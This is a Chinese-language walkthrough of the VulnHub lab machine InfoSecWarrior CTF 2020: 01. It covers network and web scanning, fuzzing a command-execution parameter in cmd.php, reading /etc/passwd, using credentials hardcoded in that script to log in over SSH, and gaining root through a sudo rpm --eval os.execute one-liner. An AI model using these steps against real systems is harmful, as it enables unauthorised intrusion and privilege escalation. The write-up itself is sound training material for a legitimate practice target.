Infosec Warrior
作者： jason huawen
靶機資訊
名稱：InfoSecWarrior CTF 2020: 01
地址：
https://www.vulnhub.com/entry/infosecwarrior-ctf-2020-01,446/
識別目標主機IP地址
─(kali?kali)-[~/Vulnhub/Infosec]
└─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
Currently scanning: 192.168.56.0/24 | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.56.1 0a:00:27:00:00:05 1 60 Unknown vendor
192.168.56.100 08:00:27:9f:b1:40 1 60 PCS Systemtechnik GmbH
192.168.56.253 08:00:27:e6:d8:5f 1 60 PCS Systemtechnik GmbH
利用Kali Linux的netdiscover工具識別目標主機IP地址為192.168.56.253
NMAP掃描
┌──(kali?kali)-[~/Vulnhub/Infosec]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.253 -oN nmap_full_scan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-17 00:37 EDT
Nmap scan report for bogon (192.168.56.253)
Host is up (0.00040s latency).
Not shown: 65351 filtered tcp ports (no-response), 182 filtered tcp ports (host-prohibited)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.3 (protocol 2.0)
| ssh-hostkey:
| 1024 2fb3a5cde51433a1823bdd5a5ed75936 (DSA)
|_ 2048 2db4152836d8b54e18818eaf3ee4dec1 (RSA)
80/tcp open http Apache httpd 2.2.15 ((CentOS))
|_http-title: Apache HTTP Server Test Page powered by CentOS
|_http-server-header: Apache/2.2.15 (CentOS)
| http-methods:
|_ Potentially risky methods: TRACE
MAC Address: 08:00:27:E6:D8:5F (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 186.97 seconds
NMAP掃描結果表明目標主機有2個開放埠：22（ssh）、80(HTTP)
獲得Shell
┌──(kali?kali)-[~/Vulnhub/Infosec]
└─$ curl http://192.168.56.253/robots.txt
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /robots.txt was not found on this server.</p>
<hr>
<address>Apache/2.2.15 (CentOS) Server at 192.168.56.253 Port 80</address>
</body></html>
┌──(kali?kali)-[~/Vulnhub/Infosec]
└─$ nikto -h http://192.168.56.253
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.56.253
+ Target Hostname: 192.168.56.253
+ Target Port: 80
+ Start Time: 2023-04-17 00:42:27 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.15 (CentOS)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/2.2.15 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ Server may leak inodes via ETags, header found with file /sitemap.xml, inode: 264859, size: 292, mtime: Thu Feb 13 06:51:21 2020
+ OSVDB-3092: /sitemap.xml: This gives a nice listing of the site content.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8724 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time: 2023-04-17 00:42:45 (GMT-4) (18 seconds)
--------------------------------------------------------------------------
接下里看能否掃碼出目錄或者檔案？
┌──(kali?kali)-[~/Vulnhub/Infosec]
└─$ curl http://192.168.56.253/note.txt
Note Form Developer Team
1. Try Harder
2. Enumeration is the key
Ping Us on @armourinfosec @MAALP1225 @CyberKnight00
cmd.php檔案被重定向到外網的網站，
┌──(kali?kali)-[~/Vulnhub/Infosec]
└─$ curl http://192.168.56.253/wordpress/
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Database Error</title>
</head>
<body>
<h1>Error establishing a database connection</h1>
</body>
</html>
但是cmd.php看上去就是有命令執行，因此FUZZ一下
┌──(kali?kali)-[~/Vulnhub/Infosec]
└─$ wfuzz -c -u 'http://192.168.56.253/cmd.php?FUZZ=id' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hw 0
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.56.253/cmd.php?FUZZ=id
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000007399: 200 0 L 10 W 58 Ch "AI"
FUZZ出引數名稱為AI ,訪問卻回傳:
┌──(kali?kali)-[~/Vulnhub/Infosec]
└─$ curl http://192.168.56.253/cmd.php?AI=id
Now the main part what it is loooooool<br>Try other method
是不是需要利用burpsuite攔截請求，將方法修改為POST
結果回傳了：
ou Found ME : - (
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
那接下來就看獲得Shell了
測驗了一下，不存在nc命令
可以讀取到/etc/passw檔案：
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
isw0:x:500:500::/home/isw0:/bin/bash
isw1:x:501:501::/home/isw1:/home/isw1/bash
isw2:x:502:502::/home/isw2:/bin/bash
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
通過構造命令ls -alh /var/www/html，可以得到
total 424K
drwxr-xr-x. 3 root root 4.0K Feb 17 2020 .
drwxr-xr-x. 6 root root 4.0K Feb 12 2020 ..
-rw-r--r--. 1 root root 440 Feb 17 2020 cmd.php
-rw-r--r--. 1 root root 303K Feb 13 2020 hacker.gif
-rw-r--r--. 1 root root 366 Feb 13 2020 index.htnl
-rw-r--r--. 1 root root 92K Feb 13 2020 minnions.gif
-rw-r--r--. 1 root root 120 Feb 17 2020 note.txt
-rw-r--r--. 1 root root 292 Feb 13 2020 sitemap.xml
drwxr-xr-x. 5 apache apache 4.0K Feb 13 2020 wordpress
通過構造命令： cat cmd.php，可以得到檔案內容：
";
echo "Try other method";
die;
}
if(isset($_POST['AI'])){
echo "You Found ME : - (";
echo "
";
$cmd = ($_POST['AI']);
system($cmd);
echo "
";
die;
}
else {
header("Location: https://www.armourinfosec.com/category/information-gathering/");
}
$user="isw0";
$pass="123456789blabla";
?>
這里包含了用戶名和口令，其實花了各種反彈shell的命令都沒能成功，對資訊的收集很重要
┌──(kali?kali)-[~/Vulnhub/Infosec]
└─$ ssh [email protected] -oHostKeyAlgorithms=+ssh-dss
The authenticity of host '192.168.56.253 (192.168.56.253)' can't be established.
DSA key fingerprint is SHA256:k7Z+v1xXZDVvuiUjQxQJ89yKvN0yffDJnR5yQvPnoS8.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:53: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.253' (DSA) to the list of known hosts.
[email protected]'s password:
Last login: Mon Feb 17 13:56:07 2020 from 192.168.56.1
[isw0@InfosecWarrior ~]$ id
uid=500(isw0) gid=500(isw0) groups=500(isw0) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[isw0@InfosecWarrior ~]$
[isw0@InfosecWarrior ~]$ cat isw0_user
e4408105ca9c2a5c2714a818c475d06e
提權
isw0@InfosecWarrior wordpress]$ sudo /bin/rpm --eval '%{lua:os.execute("/bin/sh")}'
[sudo] password for isw0:
sh-4.1# cd /root
sh-4.1# ls -alh
total 56K
dr-xr-x---. 2 root root 4.0K Feb 14 2020 .
dr-xr-xr-x. 21 root root 4.0K Apr 17 10:05 ..
-rw-------. 1 root root 1.1K Feb 12 2020 anaconda-ks.cfg
-rwx------. 1 root root 65 Feb 14 2020 Armour.sh
lrwxrwxrwx. 1 root root 9 Feb 12 2020 .bash_history -> /dev/null
-rw-r--r--. 1 root root 18 May 20 2009 .bash_logout
-rw-r--r--. 1 root root 176 May 20 2009 .bash_profile
-rw-r--r--. 1 root root 176 Sep 23 2004 .bashrc
-rw-r--r--. 1 root root 100 Sep 23 2004 .cshrc
----------. 1 root root 33 Feb 13 2020 flag.txt
-rw-r--r--. 1 root root 8.3K Feb 12 2020 install.log
-rw-r--r--. 1 root root 3.4K Feb 12 2020 install.log.syslog
-rw-r--r--. 1 root root 129 Dec 4 2004 .tcshrc
sh-4.1# cat flag.txt
fc9c6eb6265921315e7c70aebd22af7e
sh-4.1#
至此提權成功，
STRIVE FOR PROGRESS,NOT FOR PERFECTION轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/550340.html
標籤：其他